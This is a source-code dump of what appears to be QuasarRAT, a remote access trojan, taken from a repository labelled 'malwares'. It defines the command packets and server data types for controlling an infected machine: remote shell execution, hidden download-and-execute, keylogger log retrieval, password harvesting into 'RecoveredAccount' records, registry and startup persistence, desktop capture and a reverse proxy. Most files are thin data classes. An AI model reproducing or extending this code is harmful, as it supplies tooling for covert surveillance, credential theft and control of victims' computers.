/Client/Core/Packets/ServerPackets/DoDownloadFile.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using xClient.Core.Networking; 3 | 4 | namespace xClient.Core.Packets.ServerPackets 5 | { 6 | [Serializable] 7 | public class DoDownloadFile : IPacket 8 | { 9 | public string RemotePath { get; set; } 10 | 11 | public int ID { get; set; } 12 | 13 | public DoDownloadFile() 14 | { 15 | } 16 | 17 | public DoDownloadFile(string remotepath, int id) 18 | { 19 | this.RemotePath = remotepath; 20 | this.ID = id; 21 | } 22 | 23 | public void Execute(Client client) 24 | { 25 | client.Send(this); 26 | } 27 | } 28 | } -------------------------------------------------------------------------------- /Client/Core/Packets/ServerPackets/DoDownloadFileCancel.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using xClient.Core.Networking; 3 | 4 | namespace xClient.Core.Packets.ServerPackets 5 | { 6 | [Serializable] 7 | public class DoDownloadFileCancel : IPacket 8 | { 9 | public int ID { get; set; } 10 | 11 | public DoDownloadFileCancel() 12 | { 13 | } 14 | 15 | public DoDownloadFileCancel(int id) 16 | { 17 | this.ID = id; 18 | } 19 | 20 | public void Execute(Client client) 21 | { 22 | client.Send(this); 23 | } 24 | } 25 | } -------------------------------------------------------------------------------- /Client/Core/Packets/ServerPackets/DoKeyboardEvent.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using xClient.Core.Networking; 3 | 4 | namespace xClient.Core.Packets.ServerPackets 5 | { 6 | [Serializable] 7 | public class DoKeyboardEvent : IPacket 8 | { 9 | public byte Key { get; set; } 10 | 11 | public bool KeyDown { get; set; } 12 | 13 | public DoKeyboardEvent() 14 | { 15 | } 16 | 17 | public DoKeyboardEvent(byte key, bool keyDown) 18 | { 19 | this.Key = key; 20 | this.KeyDown = keyDown; 21 | } 22 | 23 | public void Execute(Client client) 24 | { 25 | client.Send(this); 26 | } 27 | } 28 | } -------------------------------------------------------------------------------- /Client/Core/Packets/ServerPackets/DoLoadRegistryKey.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Collections.Generic; 3 | using System.Linq; 4 | using System.Text; 5 | using xClient.Core.Networking; 6 | 7 | namespace xClient.Core.Packets.ServerPackets 8 | { 9 | [Serializable] 10 | public class DoLoadRegistryKey : IPacket 11 | { 12 | public string RootKeyName { get; set; } 13 | 14 | public DoLoadRegistryKey(string rootKeyName) 15 | { 16 | RootKeyName = rootKeyName; 17 | } 18 | 19 | public void Execute(Client client) 20 | { 21 | client.Send(this); 22 | } 23 | } 24 | } 25 | -------------------------------------------------------------------------------- /Client/Core/Packets/ServerPackets/DoPathDelete.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using xClient.Core.Networking; 3 | using xClient.Enums; 4 | 5 | namespace xClient.Core.Packets.ServerPackets 6 | { 7 | [Serializable] 8 | public class DoPathDelete : IPacket 9 | { 10 | public string Path { get; set; } 11 | 12 | public PathType PathType { get; set; } 13 | 14 | public DoPathDelete() 15 | { 16 | } 17 | 18 | public DoPathDelete(string path, PathType pathtype) 19 | { 20 | this.Path = path; 21 | this.PathType = pathtype; 22 | } 23 | 24 | public void Execute(Client client) 25 | { 26 | client.Send(this); 27 | } 28 | } 29 | } -------------------------------------------------------------------------------- /Client/Core/Packets/ServerPackets/DoPathRename.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using xClient.Core.Networking; 3 | using xClient.Enums; 4 | 5 | namespace xClient.Core.Packets.ServerPackets 6 | { 7 | [Serializable] 8 | public class DoPathRename : IPacket 9 | { 10 | public string Path { get; set; } 11 | 12 | public string NewPath { get; set; } 13 | 14 | public PathType PathType { get; set; } 15 | 16 | public DoPathRename() 17 | { 18 | } 19 | 20 | public DoPathRename(string path, string newpath, PathType pathtype) 21 | { 22 | this.Path = path; 23 | this.NewPath = newpath; 24 | this.PathType = pathtype; 25 | } 26 | 27 | public void Execute(Client client) 28 | { 29 | client.Send(this); 30 | } 31 | } 32 | } -------------------------------------------------------------------------------- /Client/Core/Packets/ServerPackets/DoProcessKill.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using xClient.Core.Networking; 3 | 4 | namespace xClient.Core.Packets.ServerPackets 5 | { 6 | [Serializable] 7 | public class DoProcessKill : IPacket 8 | { 9 | public int PID { get; set; } 10 | 11 | public DoProcessKill() 12 | { 13 | } 14 | 15 | public DoProcessKill(int pid) 16 | { 17 | this.PID = pid; 18 | } 19 | 20 | public void Execute(Client client) 21 | { 22 | client.Send(this); 23 | } 24 | } 25 | } -------------------------------------------------------------------------------- /Client/Core/Packets/ServerPackets/DoProcessStart.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using xClient.Core.Networking; 3 | 4 | namespace xClient.Core.Packets.ServerPackets 5 | { 6 | [Serializable] 7 | public class DoProcessStart : IPacket 8 | { 9 | public string Processname { get; set; } 10 | 11 | public DoProcessStart() 12 | { 13 | } 14 | 15 | public DoProcessStart(string processname) 16 | { 17 | this.Processname = processname; 18 | } 19 | 20 | public void Execute(Client client) 21 | { 22 | client.Send(this); 23 | } 24 | } 25 | } -------------------------------------------------------------------------------- /Client/Core/Packets/ServerPackets/DoRenameRegistryKey.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Collections.Generic; 3 | using System.Linq; 4 | using System.Text; 5 | using xClient.Core.Networking; 6 | 7 | namespace xClient.Core.Packets.ServerPackets 8 | { 9 | [Serializable] 10 | public class DoRenameRegistryKey : IPacket 11 | { 12 | public string ParentPath { get; set; } 13 | public string OldKeyName { get; set; } 14 | public string NewKeyName { get; set; } 15 | 16 | public DoRenameRegistryKey(string parentPath, string oldKeyName, string newKeyName) 17 | { 18 | ParentPath = parentPath; 19 | OldKeyName = oldKeyName; 20 | NewKeyName = newKeyName; 21 | } 22 | 23 | public void Execute(Client client) 24 | { 25 | client.Send(this); 26 | } 27 | } 28 | } 29 | -------------------------------------------------------------------------------- /Client/Core/Packets/ServerPackets/DoRenameRegistryValue.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Collections.Generic; 3 | using System.Linq; 4 | using System.Text; 5 | using xClient.Core.Networking; 6 | 7 | namespace xClient.Core.Packets.ServerPackets 8 | { 9 | [Serializable] 10 | public class DoRenameRegistryValue : IPacket 11 | { 12 | public string KeyPath { get; set; } 13 | public string OldValueName { get; set; } 14 | public string NewValueName { get; set; } 15 | 16 | public DoRenameRegistryValue(string keyPath, string oldValueName, string newValueName) 17 | { 18 | KeyPath = keyPath; 19 | OldValueName = oldValueName; 20 | NewValueName = newValueName; 21 | } 22 | 23 | public void Execute(Client client) 24 | { 25 | client.Send(this); 26 | } 27 | } 28 | } 29 | -------------------------------------------------------------------------------- /Client/Core/Packets/ServerPackets/DoShellExecute.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using xClient.Core.Networking; 3 | 4 | namespace xClient.Core.Packets.ServerPackets 5 | { 6 | [Serializable] 7 | public class DoShellExecute : IPacket 8 | { 9 | public string Command { get; set; } 10 | 11 | public DoShellExecute() 12 | { 13 | } 14 | 15 | public DoShellExecute(string command) 16 | { 17 | this.Command = command; 18 | } 19 | 20 | public void Execute(Client client) 21 | { 22 | client.Send(this); 23 | } 24 | } 25 | } -------------------------------------------------------------------------------- /Client/Core/Packets/ServerPackets/DoShutdownAction.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using xClient.Core.Networking; 3 | using xClient.Enums; 4 | 5 | namespace xClient.Core.Packets.ServerPackets 6 | { 7 | [Serializable] 8 | public class DoShutdownAction : IPacket 9 | { 10 | public ShutdownAction Action { get; set; } 11 | 12 | public DoShutdownAction() 13 | { 14 | } 15 | 16 | public DoShutdownAction(ShutdownAction action) 17 | { 18 | this.Action = action; 19 | } 20 | 21 | public void Execute(Client client) 22 | { 23 | client.Send(this); 24 | } 25 | } 26 | } -------------------------------------------------------------------------------- /Client/Core/Packets/ServerPackets/DoStartupItemAdd.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using xClient.Core.Networking; 3 | 4 | namespace xClient.Core.Packets.ServerPackets 5 | { 6 | [Serializable] 7 | public class DoStartupItemAdd : IPacket 8 | { 9 | public string Name { get; set; } 10 | 11 | public string Path { get; set; } 12 | 13 | public int Type { get; set; } 14 | 15 | public DoStartupItemAdd() 16 | { 17 | } 18 | 19 | public DoStartupItemAdd(string name, string path, int type) 20 | { 21 | this.Name = name; 22 | this.Path = path; 23 | this.Type = type; 24 | } 25 | 26 | public void Execute(Client client) 27 | { 28 | client.Send(this); 29 | } 30 | } 31 | } -------------------------------------------------------------------------------- /Client/Core/Packets/ServerPackets/DoStartupItemRemove.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using xClient.Core.Networking; 3 | 4 | namespace xClient.Core.Packets.ServerPackets 5 | { 6 | [Serializable] 7 | public class DoStartupItemRemove : IPacket 8 | { 9 | public string Name { get; set; } 10 | 11 | public string Path { get; set; } 12 | 13 | public int Type { get; set; } 14 | 15 | public DoStartupItemRemove() 16 | { 17 | } 18 | 19 | public DoStartupItemRemove(string name, string path, int type) 20 | { 21 | this.Name = name; 22 | this.Path = path; 23 | this.Type = type; 24 | } 25 | 26 | public void Execute(Client client) 27 | { 28 | client.Send(this); 29 | } 30 | } 31 | } -------------------------------------------------------------------------------- /Client/Core/Packets/ServerPackets/DoVisitWebsite.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using xClient.Core.Networking; 3 | 4 | namespace xClient.Core.Packets.ServerPackets 5 | { 6 | [Serializable] 7 | public class DoVisitWebsite : IPacket 8 | { 9 | public string URL { get; set; } 10 | 11 | public bool Hidden { get; set; } 12 | 13 | public DoVisitWebsite() 14 | { 15 | } 16 | 17 | public DoVisitWebsite(string url, bool hidden) 18 | { 19 | this.URL = url; 20 | this.Hidden = hidden; 21 | } 22 | 23 | public void Execute(Client client) 24 | { 25 | client.Send(this); 26 | } 27 | } 28 | } -------------------------------------------------------------------------------- /Client/Core/Packets/ServerPackets/GetAuthentication.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using xClient.Core.Networking; 3 | 4 | namespace xClient.Core.Packets.ServerPackets 5 | { 6 | [Serializable] 7 | public class GetAuthentication : IPacket 8 | { 9 | public GetAuthentication() 10 | { 11 | } 12 | 13 | public void Execute(Client client) 14 | { 15 | client.Send(this); 16 | } 17 | } 18 | } -------------------------------------------------------------------------------- /Client/Core/Packets/ServerPackets/GetConnections.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using xClient.Core.Networking; 3 | 4 | namespace xClient.Core.Packets.ServerPackets 5 | { 6 | [Serializable] 7 | public class GetConnections : IPacket 8 | { 9 | public GetConnections() 10 | { 11 | } 12 | 13 | public void Execute(Client client) 14 | { 15 | client.Send(this); 16 | } 17 | } 18 | 19 | } 20 | -------------------------------------------------------------------------------- /Client/Core/Packets/ServerPackets/GetDesktop.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using xClient.Core.Networking; 3 | 4 | namespace xClient.Core.Packets.ServerPackets 5 | { 6 | [Serializable] 7 | public class GetDesktop : IPacket 8 | { 9 | public int Quality { get; set; } 10 | 11 | public int Monitor { get; set; } 12 | 13 | public GetDesktop() 14 | { 15 | } 16 | 17 | public GetDesktop(int quality, int monitor) 18 | { 19 | this.Quality = quality; 20 | this.Monitor = monitor; 21 | } 22 | 23 | public void Execute(Client client) 24 | { 25 | client.Send(this); 26 | } 27 | } 28 | } -------------------------------------------------------------------------------- /Client/Core/Packets/ServerPackets/GetDirectory.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using xClient.Core.Networking; 3 | 4 | namespace xClient.Core.Packets.ServerPackets 5 | { 6 | [Serializable] 7 | public class GetDirectory : IPacket 8 | { 9 | public string RemotePath { get; set; } 10 | 11 | public GetDirectory() 12 | { 13 | } 14 | 15 | public GetDirectory(string remotepath) 16 | { 17 | this.RemotePath = remotepath; 18 | } 19 | 20 | public void Execute(Client client) 21 | { 22 | client.Send(this); 23 | } 24 | } 25 | } -------------------------------------------------------------------------------- /Client/Core/Packets/ServerPackets/GetDrives.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using xClient.Core.Networking; 3 | 4 | namespace xClient.Core.Packets.ServerPackets 5 | { 6 | [Serializable] 7 | public class GetDrives : IPacket 8 | { 9 | public GetDrives() 10 | { 11 | } 12 | 13 | public void Execute(Client client) 14 | { 15 | client.Send(this); 16 | } 17 | } 18 | } -------------------------------------------------------------------------------- /Client/Core/Packets/ServerPackets/GetKeyloggerLogs.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using xClient.Core.Networking; 3 | 4 | namespace xClient.Core.Packets.ServerPackets 5 | { 6 | [Serializable] 7 | public class GetKeyloggerLogs : IPacket 8 | { 9 | public GetKeyloggerLogs() { } 10 | 11 | public void Execute(Client client) 12 | { 13 | client.Send(this); 14 | } 15 | } 16 | } -------------------------------------------------------------------------------- /Client/Core/Packets/ServerPackets/GetMonitors.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using xClient.Core.Networking; 3 | 4 | namespace xClient.Core.Packets.ServerPackets 5 | { 6 | [Serializable] 7 | public class GetMonitors : IPacket 8 | { 9 | public GetMonitors() 10 | { 11 | } 12 | 13 | public void Execute(Client client) 14 | { 15 | client.Send(this); 16 | } 17 | } 18 | } -------------------------------------------------------------------------------- /Client/Core/Packets/ServerPackets/GetPasswords.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using xClient.Core.Networking; 3 | 4 | namespace xClient.Core.Packets.ServerPackets 5 | { 6 | [Serializable] 7 | public class GetPasswords : IPacket 8 | { 9 | public GetPasswords() 10 | { 11 | } 12 | 13 | public void Execute(Client client) 14 | { 15 | client.Send(this); 16 | } 17 | } 18 | } 19 | -------------------------------------------------------------------------------- /Client/Core/Packets/ServerPackets/GetProcesses.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using xClient.Core.Networking; 3 | 4 | namespace xClient.Core.Packets.ServerPackets 5 | { 6 | [Serializable] 7 | public class GetProcesses : IPacket 8 | { 9 | public GetProcesses() 10 | { 11 | } 12 | 13 | public void Execute(Client client) 14 | { 15 | client.Send(this); 16 | } 17 | } 18 | } -------------------------------------------------------------------------------- /Client/Core/Packets/ServerPackets/GetStartupItems.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using xClient.Core.Networking; 3 | 4 | namespace xClient.Core.Packets.ServerPackets 5 | { 6 | [Serializable] 7 | public class GetStartupItems : IPacket 8 | { 9 | public GetStartupItems() 10 | { 11 | } 12 | 13 | public void Execute(Client client) 14 | { 15 | client.Send(this); 16 | } 17 | } 18 | } -------------------------------------------------------------------------------- /Client/Core/Packets/ServerPackets/GetSystemInfo.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using xClient.Core.Networking; 3 | 4 | namespace xClient.Core.Packets.ServerPackets 5 | { 6 | [Serializable] 7 | public class GetSystemInfo : IPacket 8 | { 9 | public GetSystemInfo() 10 | { 11 | } 12 | 13 | public void Execute(Client client) 14 | { 15 | client.Send(this); 16 | } 17 | } 18 | } -------------------------------------------------------------------------------- /Client/Core/Packets/ServerPackets/SetAuthenticationSuccess.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using xClient.Core.Networking; 3 | 4 | namespace xClient.Core.Packets.ServerPackets 5 | { 6 | [Serializable] 7 | public class SetAuthenticationSuccess : IPacket 8 | { 9 | public SetAuthenticationSuccess() 10 | { 11 | } 12 | 13 | public void Execute(Client client) 14 | { 15 | client.Send(this); 16 | } 17 | } 18 | } 19 | -------------------------------------------------------------------------------- /Client/Core/Registry/RegValueData.cs: -------------------------------------------------------------------------------- 1 | using Microsoft.Win32; 2 | using System; 3 | using System.Collections.Generic; 4 | using System.Linq; 5 | using System.Text; 6 | 7 | namespace xClient.Core.Registry 8 | { 9 | [Serializable] 10 | public class RegValueData 11 | { 12 | public string Name { get; set; } 13 | public RegistryValueKind Kind { get; set; } 14 | public object Data { get; set; } 15 | 16 | public RegValueData(string name, RegistryValueKind kind, object data) 17 | { 18 | Name = name; 19 | Kind = kind; 20 | Data = data; 21 | } 22 | 23 | public override string ToString() 24 | { 25 | return string.Format("({0}:{1}:{2})", Name, Kind, Data); 26 | } 27 | } 28 | } 29 | -------------------------------------------------------------------------------- /Client/Core/ReverseProxy/Packets/ReverseProxyConnect.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using xClient.Core.Networking; 3 | using xClient.Core.Packets; 4 | 5 | namespace xClient.Core.ReverseProxy.Packets 6 | { 7 | [Serializable] 8 | public class ReverseProxyConnect : IPacket 9 | { 10 | public int ConnectionId { get; set; } 11 | 12 | public string Target { get; set; } 13 | 14 | public int Port { get; set; } 15 | 16 | public ReverseProxyConnect() 17 | { 18 | } 19 | 20 | public ReverseProxyConnect(int connectionId, string target, int port) 21 | { 22 | this.ConnectionId = connectionId; 23 | this.Target = target; 24 | this.Port = port; 25 | } 26 | 27 | public void Execute(Client client) 28 | { 29 | client.Send(this); 30 | } 31 | } 32 | } 33 | -------------------------------------------------------------------------------- /Client/Core/ReverseProxy/Packets/ReverseProxyData.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using xClient.Core.Networking; 3 | using xClient.Core.Packets; 4 | 5 | namespace xClient.Core.ReverseProxy.Packets 6 | { 7 | [Serializable] 8 | public class ReverseProxyData : IPacket 9 | { 10 | public int ConnectionId { get; set; } 11 | 12 | public byte[] Data { get; set; } 13 | 14 | public ReverseProxyData() 15 | { 16 | } 17 | 18 | public ReverseProxyData(int connectionId, byte[] data) 19 | { 20 | this.ConnectionId = connectionId; 21 | this.Data = data; 22 | } 23 | 24 | public void Execute(Client client) 25 | { 26 | client.Send(this); 27 | } 28 | } 29 | } 30 | -------------------------------------------------------------------------------- /Client/Core/ReverseProxy/Packets/ReverseProxyDisconnect.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using xClient.Core.Networking; 3 | using xClient.Core.Packets; 4 | 5 | namespace xClient.Core.ReverseProxy.Packets 6 | { 7 | [Serializable] 8 | public class ReverseProxyDisconnect : IPacket 9 | { 10 | public int ConnectionId { get; set; } 11 | 12 | public ReverseProxyDisconnect(int connectionId) 13 | { 14 | this.ConnectionId = connectionId; 15 | } 16 | 17 | public ReverseProxyDisconnect() 18 | { 19 | } 20 | 21 | public void Execute(Client client) 22 | { 23 | client.Send(this); 24 | } 25 | } 26 | } 27 | -------------------------------------------------------------------------------- /Client/Core/Utilities/HostsManager.cs: -------------------------------------------------------------------------------- 1 | using System.Collections.Generic; 2 | using xClient.Core.Data; 3 | 4 | namespace xClient.Core.Utilities 5 | { 6 | public class HostsManager 7 | { 8 | public bool IsEmpty { get { return _hosts.Count == 0; } } 9 | 10 | private readonly Queue _hosts = new Queue(); 11 | 12 | public HostsManager(List hosts) 13 | { 14 | foreach(var host in hosts) 15 | _hosts.Enqueue(host); 16 | } 17 | 18 | public Host GetNextHost() 19 | { 20 | var temp = _hosts.Dequeue(); 21 | _hosts.Enqueue(temp); // add to the end of the queue 22 | 23 | return temp; 24 | } 25 | } 26 | } 27 | -------------------------------------------------------------------------------- /Client/Enums/MouseAction.cs: -------------------------------------------------------------------------------- 1 | namespace xClient.Enums 2 | { 3 | public enum MouseAction 4 | { 5 | LeftDown, 6 | LeftUp, 7 | RightDown, 8 | RightUp, 9 | MoveCursor, 10 | ScrollUp, 11 | ScrollDown, 12 | None 13 | } 14 | } 15 | -------------------------------------------------------------------------------- /Client/Enums/PathType.cs: -------------------------------------------------------------------------------- 1 | namespace xClient.Enums 2 | { 3 | public enum PathType 4 | { 5 | File, 6 | Directory, 7 | Back 8 | } 9 | } 10 | -------------------------------------------------------------------------------- /Client/Enums/ShutdownAction.cs: -------------------------------------------------------------------------------- 1 | namespace xClient.Enums 2 | { 3 | public enum ShutdownAction 4 | { 5 | Shutdown, 6 | Restart, 7 | Standby 8 | } 9 | } 10 | -------------------------------------------------------------------------------- /Client/Enums/UserStatus.cs: -------------------------------------------------------------------------------- 1 | namespace xClient.Enums 2 | { 3 | public enum UserStatus 4 | { 5 | Idle, 6 | Active 7 | } 8 | } 9 | -------------------------------------------------------------------------------- /Client/Properties/Settings.settings: -------------------------------------------------------------------------------- 1 |  2 | 3 | 4 | 5 | 6 | 7 | 8 | -------------------------------------------------------------------------------- /Client/images/information.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/malwares/QuasarRAT/f5f244c727c6512b12c13f6b72446b53b2b594da/Client/images/information.png -------------------------------------------------------------------------------- /Server/Controls/HexEditor/IKeyMouseEventHandler.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Collections.Generic; 3 | using System.Linq; 4 | using System.Text; 5 | using System.Windows.Forms; 6 | 7 | namespace xServer.Controls.HexEditor 8 | { 9 | public interface IKeyMouseEventHandler 10 | { 11 | void OnKeyPress(KeyPressEventArgs e); 12 | 13 | void OnKeyDown(KeyEventArgs e); 14 | 15 | void OnKeyUp(KeyEventArgs e); 16 | 17 | void OnMouseDown(MouseEventArgs e); 18 | 19 | void OnMouseDragged(MouseEventArgs e); 20 | 21 | void OnMouseUp(MouseEventArgs e); 22 | 23 | void OnMouseDoubleClick(MouseEventArgs e); 24 | 25 | void OnGotFocus(EventArgs e); 26 | } 27 | } 28 | -------------------------------------------------------------------------------- /Server/Controls/Line.cs: -------------------------------------------------------------------------------- 1 | using System.Drawing; 2 | using System.Windows.Forms; 3 | 4 | namespace xServer.Controls 5 | { 6 | public class Line : Control 7 | { 8 | public enum Alignment 9 | { 10 | Horizontal, 11 | Vertical 12 | } 13 | 14 | public Alignment LineAlignment { get; set; } 15 | 16 | public Line() 17 | { 18 | this.TabStop = false; 19 | } 20 | 21 | protected override void OnPaint(PaintEventArgs e) 22 | { 23 | base.OnPaint(e); 24 | e.Graphics.DrawLine(new Pen(new SolidBrush(Color.LightGray)), new Point(5, 5), 25 | LineAlignment == Alignment.Horizontal ? new Point(500, 5) : new Point(5, 500)); 26 | } 27 | } 28 | } 29 | -------------------------------------------------------------------------------- /Server/Controls/RegistryTreeView.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Collections.Generic; 3 | using System.Linq; 4 | using System.Text; 5 | using System.Windows.Forms; 6 | 7 | namespace xServer.Controls 8 | { 9 | public class RegistryTreeView : TreeView 10 | { 11 | 12 | public RegistryTreeView() 13 | { 14 | //Enable double buffering and ignore WM_ERASEBKGND to reduce flicker 15 | SetStyle(ControlStyles.OptimizedDoubleBuffer | ControlStyles.AllPaintingInWmPaint, true); 16 | } 17 | } 18 | } 19 | -------------------------------------------------------------------------------- /Server/Core/Commands/CommandHandler.cs: -------------------------------------------------------------------------------- 1 | using System.Collections.Generic; 2 | 3 | namespace xServer.Core.Commands 4 | { 5 | /* THIS PARTIAL CLASS SHOULD CONTAIN VARIABLES NECESSARY FOR VARIOUS COMMANDS (if needed). */ 6 | public static partial class CommandHandler 7 | { 8 | public static Dictionary CanceledDownloads = new Dictionary(); 9 | public static Dictionary RenamedFiles = new Dictionary(); 10 | private const string DELIMITER = "$E$"; 11 | } 12 | } -------------------------------------------------------------------------------- /Server/Core/Data/AutostartItem.cs: -------------------------------------------------------------------------------- 1 | namespace xServer.Core.Data 2 | { 3 | public static class AutostartItem 4 | { 5 | public static string Name { get; set; } 6 | public static string Path { get; set; } 7 | public static int Type { get; set; } 8 | } 9 | } 10 | -------------------------------------------------------------------------------- /Server/Core/Data/DownloadAndExecute.cs: -------------------------------------------------------------------------------- 1 | namespace xServer.Core.Data 2 | { 3 | public static class DownloadAndExecute 4 | { 5 | public static string URL { get; set; } 6 | public static bool RunHidden { get; set; } 7 | } 8 | } 9 | -------------------------------------------------------------------------------- /Server/Core/Data/Host.cs: -------------------------------------------------------------------------------- 1 | namespace xServer.Core.Data 2 | { 3 | public class Host 4 | { 5 | /// 6 | /// Stores the hostname of the Host. 7 | /// 8 | /// 9 | /// Can be an IPv4 address or hostname. IPv6 support not tested. 10 | /// 11 | public string Hostname { get; set; } 12 | 13 | /// 14 | /// Stores the port of the Host. 15 | /// 16 | public ushort Port { get; set; } 17 | 18 | public override string ToString() 19 | { 20 | return Hostname + ":" + Port; 21 | } 22 | } 23 | } 24 | -------------------------------------------------------------------------------- /Server/Core/Data/Messagebox.cs: -------------------------------------------------------------------------------- 1 | namespace xServer.Core.Data 2 | { 3 | public static class Messagebox 4 | { 5 | public static string Caption { get; set; } 6 | public static string Text { get; set; } 7 | public static string Button { get; set; } 8 | public static string Icon { get; set; } 9 | } 10 | } 11 | -------------------------------------------------------------------------------- /Server/Core/Data/RecoveredAccount.cs: -------------------------------------------------------------------------------- 1 | namespace xServer.Core.Data 2 | { 3 | public class RecoveredAccount 4 | { 5 | public string Username { get; set; } 6 | public string Password { get; set; } 7 | public string URL { get; set; } 8 | public string Application { get; set; } 9 | } 10 | } 11 | -------------------------------------------------------------------------------- /Server/Core/Data/RemoteDrive.cs: -------------------------------------------------------------------------------- 1 | namespace xServer.Core.Data 2 | { 3 | public class RemoteDrive 4 | { 5 | public string DisplayName { get; private set; } 6 | 7 | public string RootDirectory { get; private set; } 8 | 9 | public RemoteDrive(string displayName, string rootDirectory) 10 | { 11 | this.DisplayName = displayName; 12 | this.RootDirectory = rootDirectory; 13 | } 14 | } 15 | } 16 | -------------------------------------------------------------------------------- /Server/Core/Data/Update.cs: -------------------------------------------------------------------------------- 1 | namespace xServer.Core.Data 2 | { 3 | public static class Update 4 | { 5 | public static bool UseDownload { get; set; } 6 | public static string UploadPath { get; set; } 7 | public static string DownloadURL { get; set; } 8 | } 9 | } 10 | -------------------------------------------------------------------------------- /Server/Core/Data/UploadAndExecute.cs: -------------------------------------------------------------------------------- 1 | namespace xServer.Core.Data 2 | { 3 | public static class UploadAndExecute 4 | { 5 | public static string FilePath { get; set; } 6 | public static bool RunHidden { get; set; } 7 | } 8 | } 9 | -------------------------------------------------------------------------------- /Server/Core/Data/VisitWebsite.cs: -------------------------------------------------------------------------------- 1 | namespace xServer.Core.Data 2 | { 3 | public static class VisitWebsite 4 | { 5 | public static string URL { get; set; } 6 | public static bool Hidden { get; set; } 7 | } 8 | } 9 | -------------------------------------------------------------------------------- /Server/Core/Helper/ClipboardHelper.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Windows.Forms; 3 | 4 | namespace xServer.Core.Helper 5 | { 6 | public static class ClipboardHelper 7 | { 8 | public static void SetClipboardText(string text) 9 | { 10 | try 11 | { 12 | Clipboard.SetText(text); 13 | } 14 | catch (Exception) 15 | { 16 | } 17 | } 18 | } 19 | } 20 | -------------------------------------------------------------------------------- /Server/Core/Helper/RemoteDesktopHelper.cs: -------------------------------------------------------------------------------- 1 | using System.Drawing; 2 | using System.Drawing.Imaging; 3 | using System.Windows.Forms; 4 | 5 | namespace xServer.Core.Helper 6 | { 7 | public static class RemoteDesktopHelper 8 | { 9 | public static Bitmap GetDesktop(int screenNumber) 10 | { 11 | var bounds = Screen.AllScreens[screenNumber].Bounds; 12 | var screenshot = new Bitmap(bounds.Width, bounds.Height, PixelFormat.Format32bppArgb); 13 | using (Graphics graph = Graphics.FromImage(screenshot)) 14 | { 15 | graph.CopyFromScreen(bounds.X, bounds.Y, 0, 0, bounds.Size, CopyPixelOperation.SourceCopy); 16 | return screenshot; 17 | } 18 | } 19 | } 20 | } 21 | -------------------------------------------------------------------------------- /Server/Core/Helper/WindowHelper.cs: -------------------------------------------------------------------------------- 1 | using xServer.Core.Networking; 2 | 3 | namespace xServer.Core.Helper 4 | { 5 | public static class WindowHelper 6 | { 7 | public static string GetWindowTitle(string title, Client c) 8 | { 9 | return string.Format("{0} - {1}@{2} [{3}:{4}]", title, c.Value.Username, c.Value.PCName, c.EndPoint.Address.ToString(), c.EndPoint.Port.ToString()); 10 | } 11 | 12 | public static string GetWindowTitle(string title, int count) 13 | { 14 | return string.Format("{0} [Selected: {1}]", title, count); 15 | } 16 | } 17 | } 18 | -------------------------------------------------------------------------------- /Server/Core/MouseKeyHook/HotKeys/HotKeySetsListener.cs: -------------------------------------------------------------------------------- 1 | // This code is distributed under MIT license. 2 | // Copyright (c) 2015 George Mamaladze 3 | // See license.txt or http://opensource.org/licenses/mit-license.php 4 | 5 | -------------------------------------------------------------------------------- /Server/Core/MouseKeyHook/IKeyboardMouseEvents.cs: -------------------------------------------------------------------------------- 1 | // This code is distributed under MIT license. 2 | // Copyright (c) 2015 George Mamaladze 3 | // See license.txt or http://opensource.org/licenses/mit-license.php 4 | 5 | using System; 6 | 7 | namespace xServer.Core.MouseKeyHook 8 | { 9 | /// 10 | /// Provides keyboard and mouse events. 11 | /// 12 | public interface IKeyboardMouseEvents : IKeyboardEvents, IMouseEvents, IDisposable 13 | { 14 | } 15 | } -------------------------------------------------------------------------------- /Server/Core/MouseKeyHook/Implementation/AppEventFacade.cs: -------------------------------------------------------------------------------- 1 | // This code is distributed under MIT license. 2 | // Copyright (c) 2015 George Mamaladze 3 | // See license.txt or http://opensource.org/licenses/mit-license.php 4 | 5 | namespace xServer.Core.MouseKeyHook.Implementation 6 | { 7 | internal class AppEventFacade : EventFacade 8 | { 9 | protected override MouseListener CreateMouseListener() 10 | { 11 | return new AppMouseListener(); 12 | } 13 | 14 | protected override KeyListener CreateKeyListener() 15 | { 16 | return new AppKeyListener(); 17 | } 18 | } 19 | } -------------------------------------------------------------------------------- /Server/Core/MouseKeyHook/Implementation/AppKeyListener.cs: -------------------------------------------------------------------------------- 1 | // This code is distributed under MIT license. 2 | // Copyright (c) 2015 George Mamaladze 3 | // See license.txt or http://opensource.org/licenses/mit-license.php 4 | 5 | using System.Collections.Generic; 6 | using xServer.Core.MouseKeyHook.WinApi; 7 | 8 | namespace xServer.Core.MouseKeyHook.Implementation 9 | { 10 | internal class AppKeyListener : KeyListener 11 | { 12 | public AppKeyListener() 13 | : base(HookHelper.HookAppKeyboard) 14 | { 15 | } 16 